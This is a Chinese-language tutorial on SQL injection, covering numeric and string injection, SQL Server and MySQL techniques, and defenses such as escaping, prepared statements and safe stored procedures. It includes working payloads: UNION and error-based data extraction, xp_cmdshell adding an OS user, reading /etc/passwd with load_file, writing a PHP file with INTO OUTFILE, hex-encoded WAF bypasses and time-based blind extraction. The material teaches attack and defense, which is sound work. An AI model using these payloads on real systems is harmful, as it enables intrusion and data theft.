SQL注入漏洞分类
分为:数字型和字符型
数字型注入:在弱类型语言中容易产生该类漏洞,如ASP、PHP。
强类型语言中如果试图将一个字符型转换为int型,则会抛出异常,无法继续执行,如JAVA、C#等。
所以在强类型语言中很少存在数字型注入漏洞。
判定如类型语言的 数字型注入漏洞三步走:
前提:假设有URL为HTTP://www.xxser.com/test.php?id=8,可以猜测其SQL为select * from table where id=8
测试步骤:
1、HTTP://www.xxser.com/test.php?id=8'
SQL语句为HTTP://www.xxser.com/test.php?id=8',这样的语句肯定会出错,
导致脚本程序无法从数据库中获取正常数据,从而是原来的页面出现异常。
2、HTTP://www.xxser.com/test.php?id=8 and 1=1
SQL语句为select * from table where id=8 and 1=1,语句执行正常,返回数据与原始请求无差异。
3、HTTP://www.xxser.com/test.php?id=8 and 1=2
SQL语句变为select * from table where id=8 and 1=2,语句执行正常,但却无法查询出数据,
因为“1=2”始终为假。所以返回数据与原始请求有差异。
如果以上三个步骤全部满足,则程序就可能存在SQL注入漏洞。
字符型注入:输入参数为字符时,成为字符型
数字型和字符型的区别在于,数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
数字型例句:select * from table where id=8
字符型例句:select * from table where username='admin'
字符型注入最关键的在于如何闭合SQL语句以及注释掉多余的代码。
例如:
当查询内容为字符串时,SQL代码如下:
select * from table where username='admin'
当攻击者进行SQL注入时,如果过输入“amdin and 1=1”,则无法进行注入。
因为“amdin and 1=1” 会被数据库当做查询条件字符串来处理,SQL如下:
selec * from table where username = 'admin and 1=1'
这时想要进行注入,则必须注意字符串闭合问题。如果输入“admin ’and 1=1 --”就可以继续注入,SQL如下:
select * from table where username ='admin' and 1=1 --'
只要会字符串类型注入,都必须闭合单引号以及注释掉多余的代码。例如,uodate语句:
update Person set username='username' ,set password='password' where id=1
现在对该语句进行注入,就需要闭合单引号,可以在username或者password处插入语句为:
"'+(select @@version)+'",
最终的执行语句为:
update Person set username='username', set password=''+(select @@version)+ '' where id =1
利用两次单引号闭合才能完成SQL注入
注:数据库不同,字符串连接符也不同,
如SQL Server 连接符号为“+”,Oracle连接符号为“||”,Mysql的连接符号为空格。
例如Insert语句:
Insert into users (username,password,title) values('username', 'password','titile')
当注入title字段时,可以像update一样,直接使用一下SQL语句:
Insert into users (username,password,title) values('username', 'password',''+(select @@version)+'')
SQL注入类型
总体来讲还是分为两类,数字型和字符型
注入字段在不同的位置,产生一些常见的注入叫法:
POST注入:注入字段在POST数据中
Cookie注入:注入字段在Cookie数据中
延时注入:使用数据库延时特性注入
搜索注入:注入处为搜索的地点
base64注入:注入字符串需要经过base64加密
常见的数据库注入
数据库:Oracle11g,MySQL5.1,SQL Server 2008
方式:查询数据,读写文件,执行命令
针对数据库的注入无非都是上面三件事。
5.3.1、SQL Server
1、利用错误消息提取信息
SQL Server对错误信息的定位十分准确,对开发是好事儿,对攻击者也是不错的。
1.1 枚举当前表和列
在查询sql中插入如下语句: 'having 1=1--
select * from users where username='root' and password='root' having 1=1 --'
这样SQL执行器会报错,选择列表中的列’users.id‘无效,因为该列没有包含在聚合函数或group By子句中。
这样攻击者可以利用此特性继续找到其他的列明,输入SQL如下:
select * from users where username='root' and password='root' group by users.id having 1=1 --
1.2 利用类型错误提取数据
试图利用不同类型字段之间的比较,使得sql编译器抛出异常,获取信息,如下SQL:
select * from users where username='root' and password='root'
and 1 > (select top 1 username from users)
执行器错误提示:
在将varchar值’root‘转换成数据类型int时失败,这样就暴露了root这个账户,一次递归会发现所有的账户
select * from users where username='root' and password='root' and
1>(select top 1 username from users where username not in ('root'))
如果不嵌套子查询,也同样可以达到目的,需要用到SQL Server的内置函数CONVERT或者CASE函数,
这两个函数的功能是:将一种数据类型 转转为另一种数据类型。
输入如下SQL语句:
select * from users where username='root' and password='root'
and 1=convert(int ,(select top 1 users.username from users))
如果感觉递归比较麻烦,可以通过FOR XML PATH语句将查询的数据生成XML,SQL语句如下:
select* from users where username='root' and password='root'
AND 1=convert(int, (select stuff((select',' + users.usrename,'|' +
users.password from users for xml path ('')),1,1,'')))
2、获取元数据
SQL Server提供大量的视图,便于取得元数据。下面使用information_schema.tables 与
information_schema.columns视图取得数据库表以及表的字段。
取得当前数据库表:
select table_name from infromation_schema.tables
取得表Student表字段:
select columnname from information_schema.columns where table_name='Student'
还有其他的一些视图:
sys.databases:SQL Server中所有的数据库
sys.sql_logins:SQL Server所有登录名
information_schema.tables:当前用户数据库中的表
information_schema.columns:当前用户数据库中的列
sys.all_columns:用户定义对象和系统对象的所有列的联合
sys.databases_principals:数据库中每个权限或列异常权限
sys.databases_files:存储在数据库中的数据库文件
sysobjects:数据库中创建的每个对象,例如:约束、日志 以及存储过程
3、Orderby子句
为SELECT查询的列排序,如果同时指定了TOP关键字,Order by子句在视图、内联函数、派生表和子查询中无效。
攻击者通常会通过注入Order by语句来判断此表的列数。
SQL语句:
1 、select id,username,password, from users where id=1 -------SQL执行正常
2 、select id,username,password, from users where id=1 Order by 1 ---按照第一列排序,SQL执行正常
3、select id,username,password, from users where id=1 Order by 2 ---按照第二列排序,SQL执行正常
4、select id,username,password, from users where id=1 Order by 3 ---按照第三列排序,SQL执行正常
5、select id,username,password, from users where id=1 Order by 4 ---按照第四列排序,SQL执行异常
错误提示:Order by 位置号 4 超出了选择列表中相熟的范围
这样攻击者得知当前SQL语句有几列,随后会配合union关键字进行下一步的攻击
4、Union查询
union关键字将两个或者更多个查询结果组合为单个结果集,俗称联合查询。
使用union合并两个查询结果集的基本规则:
1、所有查询中的列数必须相同
2、数据类型必须兼容
例如,联合查询探测字段数
前面介绍的USERS表,查询ID字段为1 的用户,正常的SQL语句
select id ,username,password from users where id=1
使用Union查询对id字段注入,SQL语句如下:
select id,username,password,sex from users where id=1 union select null
数据库发生异常,:使用union,intersect或者except运算符合并的所有查询必须再起目标列中有相同的表达式
递归查询,知道无错误差生,可得知User表查询的字段数
union select null,null
union select null,null,null
也有人喜欢使用select 1,2,3语句,不过该语句容易出现类型不兼容的异常。
例二:联合查询敏感信息
上面例子介绍如何获取字段数,接下来曝光攻击者如何使用union关键字查询敏感信息,
union查询可以在SQL注入中发挥非常大的作用。
得知四列后,可以使用一下语句继续注入:
id=5 union select 'x',null,null,null from stsobject where xtype='U'
如果数据类型不匹配,数据库会报错,这是可以继续递归查询,知道语句正常执行为止。
语句执行正常,代表数据类型兼容,就可以将x替换为SQL语句,查询敏感信息。
union和union all 最大的区别在于union会自动去除重复的数据,并且按照默认规则排序。
5、无辜的函数
SQL Server存在一些系统函数,利用系统函数可以方位SQL Server系统表中的信息。
select suser_name();返回用户的登陆标识号
select user_name():基于指定的标识号返回数据库的用户名
select db_name():返回数据库名称
select is_member('db_owener'):是否为数据库角色
select convert(int,'5'):数据类型转换
SQL Server常用函数:
stuff:字符串截取函数
ascii:取ASCII码
char:根据ASCII码取字符
getdate:返回日期
count:返回卒中的总条数
cast:将一种数据类型的表达式显示的转换成另一种数据类型的表达式
rand:返回随机值
is_srvrolemember:只是SQL Server登录名是否为指定服务器角色的成员
6、危险的存储过程
存储过程(Stored Procedure) 是在大型数据库系统中为了完成特定功能的一组SQL“函数”。
如执行系统命令,查看注册表,读取磁盘目录等。
攻击者最常使用的存储过程是 xp_cmdshell,这个存储过程允许用户执行操作系统命令。例如:
http://demo.testfire.net/test.aspx?id=1 存在注入点,那么攻击者可以试试攻击:
http://demo.testfire.net/test.aspx?id=1;exec xp_cmdshell 'bet user test test /add'
最终执行的SQL语句如下:
select * from table where id=1;exec xp_cmdshell 'bet user test test /add'
攻击者可以直接利用xp_cmdshell操作服务器。
注:只有持有control server 权限的用户才能使用此类存储过程。
常见的存储过程:
sp_addlogin:创建新的SQL Server登录,该登录允许用户使用SQL Server身份验证连接到SQL Server实例
sp_dropuser:从当前数据库中删除数据库用户
xp_enumgroups:提供Windows本地组列表或指定的Windows域中定义的全局组列表
xp_regwrite:违背公布的存储过程,写入注册表
xp_regread:读取之策表
xp_regdeletevalue:删除注册表
xp_dirtree:读取目录
sp_password:更改密码
xp_servicecontrol:停止或激活某服务
另外,任何一种数据库在使用一些特殊的函数或者存储过程时,都需要特定的权限,否则无法使用。
SQL Server数据库的觉得与权限如下:
bulkadmin:运行BULK INSERT语句
dbcreator:创建,更改,删除和还原任何数据库
diskadmin:管理磁盘文件
processadmin:可以终止在数据库引擎中实例中运行的进程
securityadmin:管理登录名及其属性。可以利用grant,deny和revoke服务器级别的权限,
还可以利用grant,deny,和revoke数据库级别的权限,还可以重置SQL Server登录名的密码
serveradmin:可以更改服务器范围的配置选项和关闭服务器
setupadmin:可以添加或删除链接服务器,并可以执行某些系统存储过程
sysadmin:角色成员可以在数据库引擎中执行任何活动。
默认情况下Windows BUILTIN\Administrator组的所有成员都是sysadmin固定服务器角色的成员。
7、动态执行
SQL Server支持动态执行语句,用户可以通过提交字符串来执行SQL语句,例如:
exec('select username,password from users')
exec('selec'+'t username ,password fro' + 'm users')
由于大部分Web应用程序防火墙都过滤了单引号,利用exec执行十六进制SQL语句并不存在单引号,
这一特殊性可以突破很多防火墙及防注入程序,如:
declare @query varchar(888)
select @query=0x73656C6563742031
exec(@query)
或者:
declare /**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)
5.3.2、MySQL
数据库的注入过程基本上是类型,不同的是各个数据的一些使用函数或语句有些差异,
如,查看数据库SQL Server使用函数@@version,而MySQL是version()。
1、MySQL中的注释
#:注释从 # 字符到行尾
--:注释从 --序号到行尾,需要注意的是,使用此注释时,后面需要跟上一个或者多个空格或tag都可以
/**/:注释从/*序列到*/序列中间的字符,其中/**/注释存在一个特点
select id /*!5555, username */ from users
执行结果中发现/**/注释没有起到作用,语句正常执行。其实这不是注释,而是/*!*/,感叹号是有特殊意义的,
如/*!5555,username*/的意思是
若MySQL的版本号高于或者等于5.55.55,语句将会被执行,如果!后面不加版本号,MySQL将会直接执行SQL语句。
2、获取元数据
MySQL5.0及其以上版本提供了INFORMATION_SCHEMA,INFORMATION_SCHEMA是信息数据库,
它提供了访问数据库元数据的方式。下面介绍如果从中读取数据库名称、表名称、列名称。
1、查询用户数据库名称
select schema_name from information_schema.shemata limit 0,1
--从information_schema.shemata表中查询第一个数据库名称
2、查询当前数据库表
select table_name from information_schema.tables where table_schema=(sleect database()) limit 0,1
--查询当前数据库表,只显示第一条数据
3、查询指定表的所有字段
select column_name from information_schema.columns where table_name='Student' limit 0,1
-- 查询 table_name为Student的字段名
3、UNION查询
MySQL的官方解释union查询 用于吧来自许多的select语句的结果组合到一个结果集中,且每列的数据类型必须相同。
MySQL和Oracle不像SQL Server那样可以执行多语句,所以在利用查询是,通常配合union关键字。
MySQL和SQL Server中执行:
select id ,username,password from users union select 1,2,3
Oracle中执行:
select id ,username,password from users union select 1,2,3 from dual
执行后,SQL Server和Oracle 报错,数据类型不匹配,无法正常执行,MySQL语句正常执行。
由此返现,在Oracle和SQL Server中,列的数据类型在不确定的情况下,最好使用NULL关键字匹配。
注意:1、UNION 结果集中的列名总是等于第一个 SELECT 语句中的列名
2、UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同
MySQL的Group by
group by语法可以根据给定数据列的每个成员对查询结果进行分组统计,最终得到一个分组汇总表
SELECT DEPT, MAX(SALARY) AS MAXIMUM FROM STAFF GROUP BY DEPT
注意:
必须在group子句之前指定where子句,
在SELECT语句中指定的每个列名也在GROUP BY子句中提到。未在这两个地方提到的列名将产生错误。
在group by子句后使用HAVING子句,HAVING子句可包含一个或多个用AND和OR连接的谓词,
HAVING 子句基本上总是包含聚集函数
如:select uid,email,count(*) as ct from `edm_user081217` GROUP BY email HAVING ct > 1
先用group by 对email进行分组,在用having来过滤大于1的,这样查找出来的就是重复的记录了.
WHERE 子句作用于表和视图,HAVING 子句作用于组。
4、MySQL函数利用
1、load_file()函数读取文件操作
文件必须在服务器上,文件的路径必须为绝对路径(全路径),而且用户必须持有FILE权限,文件容量也必须小于 max_allowed_packet字节(默认16MB,最大1GB)
SQL语句,union select 1, load_file('/etc/password'),3,4,5,6 #
通常,一些防注入语句不允许单引号出现,那么使用一下语句绕过:
union select 1, load_fille(0x2F6563742F706173737764),3,4,5,6#
0x2F6563742F706173737764为/etc/password十六进制的转换结果,或者使用:
union select 1, load_file(char(47,101,99,116,47,112,97,115,115,117,100))),3,4,5,6 #
在SQL注入中,将会经常出现使用函数组合来达到某种目的,例如,在浏览器返回数据时,有可能出现乱码问题,那么可以使用hex()函数将字符串转换为十六进制数据:
select hex( load_file(char(47,101,99,116,47,112,97,115,115,117,100)));
2、into outfile写文件操作
MySQL提供向磁盘写入文件的操作,与load_file()一样,必须持有FILE权限,并且文件必须为全路径名称。
select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'
select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php'
3、连接字符串
在MySQL中如果需要一次性查询多个数据,可以使用concat()或concat_ws()函数
3.1、concat()函数
select name from users where id=1 union select concat(user(),',',database(),',',version());
结果如下:
+*********************************************************+
|name |
+**********************************************************+
| admin |
|xxser |
|root@localhost,mychool,5.1.50-community-log|
+**********************************************************+
可以发现,现在三个值已经成为一列,并且以逗号隔开。在concat()函数中的逗号可以用十六进制表示
concat(user(),0x2c,database(),0x2c,version())
3.2、concat_ws()函数
比concat()函数更简洁
concat_ws(0x2c,user(),database(),version())
select name from users where id=1 union select concat_ws(0x2c,user(),database(),version());
更多常用函数及说明
函数 | 说明 |
length | 返回字符串长度 |
substring | 截取字符串长度 |
asscii | 返回ASCII码 |
hex | 把字符串转换 为十六进制 |
now | 当前系统时间 |
unhex | hex的反向操作 |
floor(x) | 返回不大于x的最大整数值 |
md5 | 返回MD5值 |
group_concat | 返回带有来自一个组的连接的非NULL值的字符串结果 |
@@datadir | 读取数据库路径 |
@@basedir | MySQL安装路径 |
@@version_complite_os | 操作系统 |
user | 用户名 |
current_user | 当前用户名 |
system_user | 系统用户名 |
database | 数据库名 |
version | MySQL数据库版本 |
5、MySQL显错式注入
显错式注入,即利用数据库的报错信息提取消息。
6、宽字节注入
是由编码不统一造成的,这种注入一般出现在PHP+MySQL中。
7、MySQL长字符截取
在默认情况下,如果输入数据超过默认长度,MySQL会将其截断。
8、延时注入
由于网站技术的不断提升,在url中添加什么语句都不会有变化,只能通过盲注判断,盲注即页面无差异的注入。
延时注入属于盲注的一种,是一种基于时间差异的注入技术,下面以MySQL为例,主要讲一下延时注入
在MySQL中有一个函数:SLEEP(duration),这个函数的意思是在duration参数给定的秒数后运行语句,如下sql:
select * from users where id=1 and sleep(3); /*三秒后执行SQL语句*/
知道了sleep函数可以延时后,那就可以使用这个函数来判断URL是否存在SQL注入漏洞,步骤如下:
1、http://www.secbug.com/user.jsp?id=1 //页面返回正常,1秒左右打开界面
2、http://www.secbug.com/user.jsp?id=1 ' //页面返回正常,1秒左右可以打开页面
3、http://www.secbug.com/user.jsp?id=1 ' and 1=1 //页面返回正常, 1秒左右可以打开页面
4、http://www.secbug.com/user.jsp?id=1 and sleep(3) //页面返回正常,3秒左右可以打开页面
通过页面返回的时间可以断定,DBMS执行了and sleep(3)语句,这样一来,就可以判断出URL确实存在SQL漏洞。
通过sleep函数可以判断出注入点,那么能读出数据吗?
答案是肯定可以的,但是需要与其他函数配合使用,下面就是通过延时韩式注入读取当前MySQL用户的例子。
思路:
1、查询当前用户,并取得字符串长度
2、截取字符串的第一个字符,并转换为ASCII码
3、将第一个字读的ascii码与ASCII码表对比,如果过比对成功则延时3秒
4、继续步骤2/3,直至字符串截取完毕
对应的SQL语句如下:
1、and if(length(user())=0, sleep(3),1)
循环0,如果出现3秒延迟,就可以判断出user字符串长度,注入时通常会采用半折算法减少判断。
2、and if(hex(mid(user(),1,1))=1, sleep(3),1)
取出user字符串的第一个字符,然后与ASCII码表循环对比
3、and if(hex(mid(user(),L,1))=N,sleep(3),1)
递归破解第二个ASCII码,第三四五个ASCII码
同理,既然通过延时注入可以读取数据库当前MySQL用户,那么读取表、列、文件都是可以实现的。
注:L是位置代表字符串的第几个字符,N的位置代表ASCII码。
SQL Server中的waitfor delay,Oracle中DBMS_LOCK.SLEEP等函数。
5.4、注入工具
SQLMap,pangolin,Havij
5.5、防止SQL注入
SQL注入攻击的问题最终归于用户可以控制输入,SQL注入、xss、文件包含、命令执行都可归于此。
有输入的地方就可能存在风险。简单粗暴的方式:
禁止或者过滤掉单引号,问题是外国人的名字中有单引号,数字型注入也不一定会使用单引号
禁止输入查询语句,如select,insert,union关键字,问题是可以通过注释绕过关键字,
如sel/**/ect等,对注释进行分割,且不影响数据库的正常执行。
5.5.1、严格的数据类型
Java和C#等强类型语言基本上可以完全忽略数字型注入,例如请求ID为1的新闻,攻击者想要注入几乎不可能
5.5.2、特殊字符转义
通过加强数据类型校验可以解决数字型的SQL注入,字符型却不可以,因为他们都是string类型,你无法判断输入是否为恶意攻击。
对特殊字符转义--在数据库查询字符串时,任何字符串都需要加上单引号。将这些特殊字符转义能够有效防御字符型SQL注入。
需要转义的字符参考OWASP ESAPI
在特殊字符转义过滤SQL注入时,需要注意“二次注入攻击”
在第一次注入时,将特殊字符转义,但是在数据库中存储时却没有‘\’,在第二次查询时使用单引号匹配注入,如:
第一次插入数据时,单引号被转义
insert into message(id,title,content) values(3,'secbug\'','secbug.org')
单引号已经被转义,这样注入攻击就无法成功,但,secbug\'在插入数据库后去没有了"\",语句如下:
+*****+*****************+*********************+
|id | title | content |
+****+*******************+*******************+
|1 | secbug' | secbug.org |
+****+*******************+*******************+
这样如果有另一处查询为:
select id,title,content from message where title='$title'
那么正宗攻击就称为二次SQL注入,比如讲title改为
‘ union select 1, @@version 3 --
,目前很多开源系统都存在这样的问题,第一次不会出现漏洞,但是第二次却出现了SQL注入漏洞。
5.5.3 使用预编译语句
Java、C#等语言提供了预编译语句。
Java中提供了三个接口与数据库交互,Statement,CallableStatement,PreparedStatement.
Statement用于执行静态SQL语句,并返回它们所生成的结果对象。
PrepareStatement为Statement子类,表示预编译SQL语句对象。
CallableStatement为PrepareStatement的子类,用于执行SQL存储过程。
虽然PrepareStatement接口是安全的,但是如果使用动态拼接SQL语句,那就会失去它的安全性。
想要使PrepareStatement防御SQL注入,必须使用它提供的setter方法(setShort、setString等)。
5.5.4、框架技术
在众多框架中,有一类框架专门与数据库打交道,被称为持久层框架,比如Hibernate,MyBatis,JORM。
简要介绍Hibernate:
Hibernate是一个开源代码的ORM(对象关系映射)框架,他对JDBC进行非常轻量级的对象封装,
是的Java程序要可以随心所欲的神勇面向对象思维操作数据库。
Hibernate是跨平台的,几乎不需要修改SQL语句即可适用于各种数据库,
它的安全性较高,但也同样存在注入,这类对象关系映射框架注入也被称为ORM注入。
Hibernate自定义的SQL语言叫作HQL,是一种面向对象的查询语言。
使用此语言时千万不要使用动态拼接的方式组成SQL语句,否则可能造成SQL注入。
5.5.5、存储过程(Stored Procedure)
在存储过程中直接使用exec执行SQL语句,这和直接写select* from Student where StudentNo=id 没有区别,传入参数3 or 1=1
将查询出全部数据,造成SQL注入漏洞。例如:
create proc findUserId @id varchar(100)
as
exec('select * from Student where StudentNo= ' +@id);
go
改进为:
create proc findUserId @id varchar(100)
as
select * from Student where StudentNo=@id
go
参数3 or 1=1,SQL执行器抛出错误:
在将varchar值'3 or 1=1'转换为数据类型int时失败。
小结:
SQL注入的危害虽然很大,但是可以完全杜绝,陈旭开发团队一定要有自己的安全规范模板,因为不可能每个程序员都了解SQL注入,所以团队有一套自己的模板后,SQL注入会大大减少。比如碰到SQL语句完全采用PrepareStatement类,且必须用参数绑定,如果这样还存在SQL注入,那就是某个程序员没有遵循规范,这样就从安全转移到代码规范的问题上,只要遵循规范,不会有问题,这一方法无论是SQL注入,还是后面的其他漏洞,都适用。